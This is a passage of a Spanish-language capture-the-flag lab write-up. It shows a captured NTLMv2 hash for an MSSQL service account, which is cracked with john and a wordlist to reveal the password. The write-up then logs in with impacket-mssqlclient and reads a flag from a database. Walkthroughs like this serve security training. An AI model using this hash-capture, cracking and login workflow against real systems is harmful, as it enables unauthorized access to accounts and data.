[SMB] NTLMv2-SSP Client   : 10.129.203.12
[SMB] NTLMv2-SSP Username : WIN-02\mssqlsvc
[SMB] NTLMv2-SSP Hash     : mssqlsvc::WIN-02:436848c611e4eb0e:6F73CDD8EB59E11B5A9A82F5D8DD6603:010100000000000080CAB85E8096DA01278C5F868B8F4EC00000000002000800380036004100540001001E00570049004E002D004B0055004A0035004D0038004500450057003200350004003400570049004E002D004B0055004A0035004D003800450045005700320035002E0038003600410054002E004C004F00430041004C000300140038003600410054002E004C004F00430041004C000500140038003600410054002E004C004F00430041004C000700080080CAB85E8096DA0106000400020000000800300030000000000000000000000000300000FD38B49484E05CBAB76EA1D2A001E19278B1992A0508CC3D1328A13E6400B3F90A001000000000000000000000000000000000000900200063006900660073002F00310030002E00310030002E00310034002E00320030000000000000000000

Obtenemos el hash del usuario mssqlsvc, pero necesitamos crackearlo. Vamos a guardar el hash completo en un archivo hash.txt, y vamos a usar john para crackearlo:

john --wordlist=/usr/share/wordlists/rockyou.txt hash.txt 

Using default input encoding: UTF-8
Loaded 1 password hash (netntlmv2, NTLMv2 C/R [MD4 HMAC-MD5 32/64])
Will run 4 OpenMP threads
Press 'q' or Ctrl-C to abort, almost any other key for status
princess1        (mssqlsvc)     
1g 0:00:00:00 DONE (2024-04-24 20:27) 16.66g/s 1092Kp/s 1092Kc/s 1092KC/s 123456..sabrina7
Use the "--show --format=netntlmv2" options to display all of the cracked passwords reliably
Session completed. 

Obtenemos la contraseña en plano: princess1 🏆

Pregunta 2

Enumera la base de datos "flagDB" y envia la flag como respuesta.

Vamos a loguearnos con las credenciales que hemos descubierto:

sudo impacket-mssqlclient -p 1433 mssqlsvc@10.129.203.12 
Impacket v0.11.0 - Copyright 2023 Fortra

Password: princess1
[*] Encryption required, switching to TLS
[-] ERROR(WIN-02\SQLEXPRESS): Line 1: Login failed for user 'mssqlsvc'.

No nos deja acceder porque tenemos que especificar la opción -windows-auth, ya que se autentica por Windows:

sudo impacket-mssqlclient -p 1433 mssqlsvc@10.129.203.12 -windows-auth
Impacket v0.11.0 - Copyright 2023 Fortra

Password: princess1
[*] Encryption required, switching to TLS
[*] ENVCHANGE(DATABASE): Old Value: master, New Value: master
[*] ENVCHANGE(LANGUAGE): Old Value: , New Value: us_english
[*] ENVCHANGE(PACKETSIZE): Old Value: 4096, New Value: 16192
[*] INFO(WIN-02\SQLEXPRESS): Line 1: Changed database context to 'master'.
[*] INFO(WIN-02\SQLEXPRESS): Line 1: Changed language setting to us_english.
[*] ACK: Result: 1 - Microsoft SQL Server (150 7208) 
[!] Press help for extra shell commands
SQL (WIN-02\mssqlsvc  guest@master)> 

Accedemos correctamente y enumeramos las tablas para acceder a la flag 🏆

SQL (WIN-02\mssqlsvc  guest@master)> use flagDB
[*] ENVCHANGE(DATABASE): Old Value: master, New Value: flagDB
[*] INFO(WIN-02\SQLEXPRESS): Line 1: Changed database context to 'flagDB'.
SQL (WIN-02\mssqlsvc  WINSRV02\mssqlsvc@flagDB)> SELECT name FROM sys.tables;
name      
-------   
tb_flag   

SQL (WIN-02\mssqlsvc  WINSRV02\mssqlsvc@flagDB)> SELECT * FROM tb_flag

flagvalue                              
------------------------------------   
b'HTB{!_l0v3_#4$#!n9_4nd_r3$p0nd3r}' 

Última actualización

¿Te fue útil?